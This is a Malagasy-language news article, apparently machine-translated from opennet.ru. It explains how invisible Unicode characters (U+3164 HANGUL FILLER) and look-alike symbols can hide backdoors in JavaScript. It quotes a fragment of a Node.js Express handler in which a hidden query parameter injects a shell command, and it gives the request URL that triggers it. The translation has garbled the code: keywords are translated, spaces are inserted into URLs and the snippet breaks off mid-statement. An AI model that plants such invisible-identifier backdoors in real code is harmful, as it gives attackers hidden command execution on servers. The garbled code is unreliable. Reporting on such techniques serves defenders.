Mampiasa tarehintsoratra unicode tsy hita maso hanafenana ny hetsika amin'ny kaody JavaScript

Taorian'ny fomba fanafihana Loharano Trojan, izay mifototra amin'ny fampiasana tarehin-tsoratra Unicode izay manova ny filaharan'ny lahatsoratra bidirectional, dia navoaka ny teknika iray hafa hampidirana hetsika miafina, azo ampiharina amin'ny code JavaScript. Ny fomba vaovao dia mifototra amin'ny fampiasana ny endri-tsoratra unicode "γ…€" (kaody 0x3164, "HANGUL FILLER"), izay tafiditra ao amin'ny sokajy litera, saingy tsy misy atiny hita maso. Ny sokajy Unicode misy an'io toetra io dia navela hatramin'ny ECMAScript 2015 fanondroana ampiasaina amin'ny anarana miovaova JavaScript, ka ahafahana mamorona fari-pahalalana tsy hita maso na fari-piainana vaovao izay tsy azo avahana amin'ny fari-piainana hafa ao amin'ny tonian-dahatsoratra malaza toy ny Notepad++ sy VS Code.

Ohatra, omena ny kaody ho an'ny sehatra Node.js, izay, amin'ny fampiasana varimbazaha misy tarehin-tsoratra tokana "γ…€", misy varavarana ambadika miafina izay ahafahana manatanteraka ny fehezan-dalΓ na nofaritan'ny mpanafika: app.get('/ network_health', async (req, res) => {const {timeout,γ…€} = req.query; // raha ny marina dia milaza hoe "const {timeout,γ…€ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',γ…€ // ny faingo dia arahin'ny toetra \u3164 ];

Raha vao jerena dia ny sandan'ny fe-potoana ihany no mandalo amin'ny paramètre ivelany, ary ny laharan-tariby misy ny baiko hotanterahina dia misy lisitra raikitra tsy mampidi-doza. Saingy raha ny marina, aorian'ny fari-pialan'ny fotoana, dia omena ny sandan'ny variable tsy hita maso hafa miaraka amin'ny kaody tarehin-tsoratra \u3164, izay asolo ihany koa amin'ny filaharana baiko azo tanterahina. Noho izany, raha misy ny endrika toy izany, ny mpanafika dia afaka mandefa fangatahana toy ny "https://host:8080/network_health?%E3%85%A4=command" mba hampavitrika ny varavarana ambadika sy hanatanterahana ny kaody.

Ohatra iray hafa ny endri-tsoratra "Ηƒ" (ALVEOLAR CLICK), izay azo ampiasaina hanehoana ny endriky ny teny fihobiana. Ohatra, ny teny hoe "raha(environmentΗƒ=ENV_PROD){" rehefa tanterahina ao amin'ny Node.js 14 dia ho marina foana, satria tsy manamarina ny fahasamihafana, fa manome ny sandan'ny ENV_PROD amin'ny fari-piainana "environmentΗƒ". Ny endri-tsoratra unicode mamitaka hafa dia ahitana ny "/", "βˆ’", "οΌ‹", "β©΅", "❨", "β«½", "κ“Ώ" ary "βˆ—".

Source: opennet.ru

Add a comment